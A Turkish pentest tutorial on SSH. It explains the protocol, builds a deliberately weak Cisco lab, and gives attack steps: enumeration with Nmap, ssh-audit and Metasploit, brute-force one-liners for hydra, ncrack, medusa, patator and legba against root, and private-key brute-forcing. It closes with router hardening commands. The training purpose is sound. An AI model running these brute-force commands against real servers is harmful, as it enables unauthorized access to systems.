🖥️13-SSH ATTACK

SSH NEDİR ?

SSH, Secure Shell veya Secure Socket Shell olarak da bilinen, kullanıcılara özellikle sistem yöneticilerine güvenli olmayan bir ağ üzerinden bir bilgisayara erişmenin güvenli bir yolunu sağlayan bir ağ protokolüdür.

SSH ayrıca SSH protokolünü uygulayan yardımcı program paketini de ifade eder. Secure Shell, güçlü parola kimlik doğrulaması ve genel anahtar kimlik doğrulamasının yanı sıra, internet gibi açık bir ağ üzerinden bağlanan iki bilgisayar arasında şifreli veri iletişimi sağlar.

SSH, güçlü şifreleme sağlamanın yanı sıra, ağ yöneticileri tarafından sistemleri ve uygulamaları uzaktan yönetmek için yaygın olarak kullanılır; bu da onların ağ üzerinden başka bir bilgisayarda oturum açmalarına, komutları yürütmelerine ve dosyaları bir bilgisayardan diğerine taşımalarına olanak tanır.

SSH, hem kriptografik ağ protokolünü hem de bu protokolü uygulayan yardımcı program paketini ifade eder. SSH, oturumun görüntülendiği uç olan Secure Shell istemci uygulamasını oturumun çalıştırıldığı uç olan SSH sunucusuna bağlayan istemci-sunucu modelini kullanır. SSH uygulamaları genellikle terminal emülasyonu veya dosya aktarımları için kullanılan uygulama protokollerine yönelik desteği içerir.

SSH ayrıca diğer uygulama protokolleri için güvenli tüneller oluşturmak, örneğin X Pencere Sistemi grafik oturumlarını uzaktan güvenli bir şekilde çalıştırmak için de kullanılabilir. Bir SSH sunucusu varsayılan olarak standart İletim Kontrol Protokolü (TCP) bağlantı noktası 22'yi dinler.

SSH'nin en temel kullanımı, bir terminal oturumu için uzak bir ana bilgisayara bağlanmaktır. Bu komutun şekli aşağıdaki gibidir:

ssh UserName@SSHserver.example.com

Bu komut, istemcinin KullanıcıAdı kullanıcı kimliğini kullanarak server.example.com adlı sunucuya bağlanmayı denemesine neden olur. Yerel ana bilgisayar ile sunucu arasında ilk kez bağlantı kuruluyorsa, önceden bağlantı olmamasına rağmen kullanıcıdan uzak ana bilgisayarın ortak anahtar parmak izi istenecek ve bağlanmaya yönlendirilecektir.

The authenticity of host 'sample.ssh.com' cannot be established.
 DSA key fingerprint is 01:23:45:67:89:ab:cd:ef:ff:fe:dc:ba:98:76:54:32:10.
 Are you sure you want to continue connecting (yes/no)?

İsteme evet yanıtı verilmesi oturumun devam etmesine neden olur ve ana bilgisayar anahtarı yerel sistemin bilinen_hosts dosyasında saklanır. Bu, varsayılan olarak kullanıcının ana dizininde /.ssh/known_hosts adı verilen gizli bir dizinde saklanan gizli bir dosyadır. Ana bilgisayar anahtarı, bilinen_hosts dosyasında saklandıktan sonra, istemci sistemi herhangi bir onaya gerek kalmadan doğrudan bu sunucuya tekrar bağlanabilir; ana bilgisayar anahtarı bağlantının kimliğini doğrular.

Örnek bir SSH oturumu

SSH ne için kullanılır?

SSH, güvenli bir iletişim kanalı oluşturarak yerel ve uzak sistemler arasında yönetim işlemlerini gerçekleştirmek için kullanılır.

Güvenli Kabuk Yetenekleri

SSH'nin etkinleştirdiği işlevler şunları içerir:

  • kullanıcılar için SSH özellikli ağ sistemlerine veya cihazlarına ve ayrıca otomatik süreçlere güvenli uzaktan erişim;

  • güvenli ve etkileşimli dosya aktarım oturumları;

  • otomatik ve güvenli dosya aktarımları;

  • uzak cihazlara veya sistemlere güvenli komut verilmesi; Ve

  • ağ altyapısı bileşenlerinin güvenli yönetimi.

SSH, terminal oturumlarını etkinleştirmek için etkileşimli olarak kullanılabilir ve daha az güvenli Telnet programı yerine tercih edilmelidir. Ayrıca, programların ve sistemlerin verilere ve diğer kaynaklara uzaktan ve güvenli bir şekilde erişmesini sağlamak için komut dosyalarında ve diğer yazılımlarda yaygın olarak kullanılır.

SSH'nin Tarihi

Secure Shell protokollerinin mevcut sürümü olan SSH-2, 2006 yılında İnternet Mühendisliği Görev Gücü (IETF) tarafından Standartlar İzleme spesifikasyonu olarak kabul edilmiştir. SSH-2, SSH-1 ile uyumlu değildir ve Diffie-Hellman anahtar değişimini kullanırken güvenliği artırmak için mesaj kimlik doğrulama kodlarını kullanır.

SSH istemcileri ve sunucuları bir dizi şifreleme yöntemini kullanabilir; en yaygın kullanılanları Gelişmiş Şifreleme Standardı (AES) ve Blowfish'tir.

SSH-2'de bilinen herhangi bir istismar edilebilir güvenlik açığı bulunmamaktadır, ancak 2013 yılında Edward Snowden tarafından sızdırılan bilgilere göre Ulusal Güvenlik Ajansı'nın (NSA) bazı SSH trafiğini çözebileceği iddia edilmektedir.

SSH'ye yönelik en büyük tehditlerden biri zayıf anahtar yönetimidir.

SSH paketinin çoğu uygulaması üç yardımcı programdan oluşur:

  1. slogan (güvenli giriş)

  2. ssh

  3. scp (güvenli kopya)

SSHD, gelen SSH bağlantı isteklerini bekleyen ve yetkili sistemlerin yerel ana bilgisayara bağlanmasını sağlayan SSH sunucusunu başlatır.

SSH-keygen, oturum açma işlemlerini otomatikleştirmek, SSO'yu uygulamak ve ana bilgisayarların kimliğini doğrulamak için yeni bir kimlik doğrulama anahtar çifti oluşturmak için kullanılan bir programdır.

ssh-copy-id, parolasız oturum açma işlemlerini ve SSO'yu otomatikleştirmek amacıyla bir sunucuya SSH anahtarını kopyalamak, yüklemek ve yapılandırmak için kullanılan bir programdır.

ssh-agent, SSH'nin bir şifreleme anahtarı türettiği kimlik anahtarlarını ve bunların parolalarını izleyen ve kullanıcının, parolaları veya parola sözcüklerini yeniden girmeye gerek kalmadan farklı sunucularda oturum açmasına olanak tanıyan yardımcı bir programdır.

ssh-add, SSH kimlik doğrulama aracısına bir anahtar eklemek için kullanılır ve SSH kullanarak SSO'yu uygulamak için ssh-agent ile birlikte kullanılır.

SCP, dosyaları bir bilgisayardan diğerine kopyalamak için kullanılan bir programdır ve RCP'nin SSH güvenli bir sürümüdür.

SFTP, dosyaları bir bilgisayardan diğerine kopyalamak için kullanılan bir programdır ve orijinal Dosya Aktarım Protokolü olan FTP'nin SSH güvenli bir sürümüdür.

SSH Tünellemesi Nedir?

SSH bağlantı noktası yönlendirme olarak da bilinen SSH tüneli, kullanıcının yerel ana bilgisayar ile uzak ana bilgisayar arasında güvenli bir tünel açmasını sağlayan bir tekniktir.

SSH bağlantı noktası yönlendirme, ağ trafiğini belirli bir bağlantı noktasına veya IP adresine yönlendirerek uzak ana bilgisayarın yerel ana bilgisayardaki uygulamalar tarafından doğrudan erişilebilir olmasını sağlar. Hedef uzak SSH sunucusunda olabilir veya bu sunucu başka bir uzak ana bilgisayara iletecek şekilde yapılandırılmış olabilir.

SSH tünelleri, kurumsal güvenlik duvarından fark edilmeden geçiş yapabildikleri için BT yöneticileri ve kötü niyetli aktörler için güçlü araçlardır. Sonuç olarak, SSH tünellerinin kurumsal güvenlik duvarı üzerinden yetkisiz kullanımını önleyecek araçlar mevcuttur.

SSH GENEL BİLGİLER

  • Public key – Herkes görebilir, korumaya gerek yok. (şifreleme işlevi için).

  • Private key - Bilgisayarda kalır, korunmalıdır. (şifre çözme işlevi için).

Anahtar çiftleri aşağıdaki türlerde olabilir:

  • Kullanıcı Anahtarı – Genel anahtar ve özel anahtar kullanıcıda kalırsa.

  • Ana Bilgisayar Anahtarı – Genel anahtar ve özel anahtar uzak bir sistemdeyse.

  • Oturum anahtarı – Büyük miktarda veri iletileceği zaman kullanılır.

SSH'de Kullanılan Teknikler

SSH'de kullanılan başlıca üç ana teknik vardır:

  • Simetrik Kriptografi: Simetrik anahtar şifrelemesinde, mesajı şifrelemek ve şifresini çözmek için kullanılan anahtarın aynısı, gönderen ve alıcı arasında benzersiz, tek bir paylaşılan anahtar tutulur. Örneğin: DES (Veri Şifreleme Standardı) ve AES (Gelişmiş Şifreleme Standardı).

  • Asimetrik Kriptografi: Asimetrik anahtar şifrelemesinde, şifrelemek için kullanılan anahtar, mesajın şifresini çözmek için kullanılan anahtardan farklıdır. Örneğin: RSA (Rivest–Shamir–Adleman) ve Dijital İmza Algoritması.

Hashing: Hashing, kriptografide kullanılan, değişken uzunluktaki dizeyi sabit uzunluktaki bir dizeye dönüştüren bir prosedürdür, bu sabit uzunluklu değere, karma işlevi tarafından oluşturulan karma değeri denir

Cisco LAB SSH

Bu senaryoda, bir Cisco cihazına güvenlik önlemi almadan SSH yapılandırması yapacağız.

R1(config)#username cisco privilege 15 password cisco
R1(config)#ip domain-name ssh.pentest.local
R1(config)#crypto key generate rsa            
The name for the keys will be: R1.ssh.pentest.local
Choose the size of the key modulus in the range of 360 to 4096 for your
  General Purpose Keys. Choosing a key modulus greater than 512 may take
  a few minutes.

How many bits in the modulus [512]: 512
% Generating 512 bit RSA keys, keys will be non-exportable...
[OK] (elapsed time was 0 seconds)
R1(config)#line vty 0 4
R1(config-line)#transport input ssh 
R1(config-line)#transport output ssh 
R1(config-line)#login local 
R1(config)#ip ssh version 1

ATTACK SSH

Bilgi Toplama Aşaması

SSH kullanılan cihazda SSH sürüm 1'in kullanıldığını gösteriyor.

Bunlar, SSH ve Nmap ile kullanılabilecek birkaç NSE (Nmap Scripting Engine) betiğinin örnekleridir.

SSHv1 kullandığını gösteriyor

Diğer betikler parola ve kullanıcı adıyla ilgili işlemler yapmaktadır. Şimdi ise devam edelim.

Banner Bilgisi

Otomatik ssh denetimi

ssh-audit, ssh sunucusu ve istemci yapılandırma denetimi için bir araçtır.

Birkaç uyarı verdi ve bunlar sıkılaştırma için kullanılabilir.

Username Enumeration

OpenSSH'nin bazı sürümlerinde kullanıcıları numaralandırmak için zamanlama saldırısı yapabilirsiniz. Bundan yararlanmak için metasploit modülünü kullanabilirsiniz.

Not: Eğer banner bilgisinde varsa kullanabilirsiniz.

msf> use scanner/ssh/ssh_enumusers

Brute Force

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Private Key Brute Force

Kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... haydi deneyelim. Nmap betiğini kullanabilirsiniz:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
msf> use scanner/ssh/ssh_identify_pubkeys
https://github.com/snowdroppe/ssh-keybrute

Bilinen badkey'leri burada bulabilirsiniz:

Daha fazla ayrıntı isteyen buraya bakabilir.

Veya daha fazla ayrıntılı pentest yapmak isteyenler bu isteklere bakabilir.

SSH ATTACK ÖNLEMİ

En seri şekilde, SSH ile ilgili önlemleri alacağız. Bunlara bir göz atalım.

R1(config)#enable password password
R1(config)#service password-encryption 
R1(config)#crypto key generate rsa 
% You already have RSA keys defined named R1.ssh.pentest.local.
% Do you really want to replace them? [yes/no]: yes
Choose the size of the key modulus in the range of 360 to 4096 for your
  General Purpose Keys. Choosing a key modulus greater than 512 may take
  a few minutes.

How many bits in the modulus [512]:1024
R1(config)#access-list 1 permit host 192.168.1.100
R1(config)#line vty 0 4
R1(config-line)#access-class 1 in 
R1(config-line)#exec-timeout 3
R1(config)#aaa new-model 
R1(config)#aaa local authentication attempts max-fail 3
R1(config)#aaa authentication login default local 
R1(config)#ip ssh time-out 50
R1(config)#ip ssh authentication-retries 3

Bu yapılan sıkılaştırmalar orta ve ileri düzey olarak gerçekleştirilebilir.

SONUÇ

SSH saldırıları, kötü niyetli kişilerin veya otomatik botların bir ağa veya sunucuya SSH protokolünü kullanarak yetkisiz erişim sağlamaya çalıştığı bir tür siber saldırıdır. Bu saldırılar genellikle şifre kaba kuvveti saldırıları veya kimlik doğrulama zaafiyetlerinden yararlanarak gerçekleştirilir. Bir SSH saldırısı başarılı olduğunda, saldırganlar sisteme erişim elde edebilir, hassas verilere erişebilir, sistem kaynaklarını kullanabilir veya hizmet kesintilerine neden olabilirler.

Last updated